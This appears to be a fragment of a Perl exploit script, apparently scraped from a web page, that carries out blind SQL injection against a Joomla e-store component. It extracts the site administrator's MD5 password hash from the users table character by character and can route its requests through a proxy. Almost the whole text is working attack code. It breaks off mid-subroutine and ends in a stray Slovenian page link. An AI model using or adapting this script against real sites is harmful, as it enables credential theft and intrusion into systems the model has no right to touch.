my $host    = $ARGV[0];

my $path    = $ARGV[1];

my $cid     = $ARGV[2];

my $pid     = $ARGV[3];



my %options = ();

GetOptions(\%options, "c=i", "x=s", "p=i");



print "[~] Exploiting...\n";



if($options{"c"})

{

  $cid = $options{"c"};

}



if($options{"p"})

{

  $pid = $options{"p"};

}



syswrite(STDOUT, "[~] MD5-Hash: ", 14);



for(my $i = 1; $i <= 32; $i++)

{

  my $f = 0;

  my $h = 48;

  while(!$f && $h <= 57)

  {

    if(istrue2($host, $path, $cid, $pid, $i, $h))

    {

      $f = 1;

      syswrite(STDOUT, chr($h), 1);

    }

    $h++;

  }

  if(!$f)

  {

    $h = 97;

    while(!$f && $h <= 122)

    {

      if(istrue2($host, $path, $cid, $pid, $i, $h))

      {

        $f = 1;

        syswrite(STDOUT, chr($h), 1);

      }

      $h++;

    }

  }

}



print "\n[~] Exploiting done\n";



sub istrue2

{

  my $host  = shift;

  my $path  = shift;

  my $cid   = shift;

  my $pid   = shift;

  my $i     = shift;

  my $h     = shift;

 

  my $ua = LWP::UserAgent->new;

  my $query = "http://".$host.$path."index.php?option=com_ezstore&Itemid=1&func=detail&id=".$pid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1),".$i.",1))=CHAR(".$h.")";

 

  if($options{"x"})

  {

    $ua->proxy('http', "http://".$options{"x"});

  }

 

  my $resp = $ua->get($query);

  my $content = $resp->content;

  my $regexp = "viewcategory&catid=".$cid."";

 

  if($content =~ /$regexp/)

  {

    return 1;

  }

  else

  {

    return 0;

  }

Predlagaj ta članek...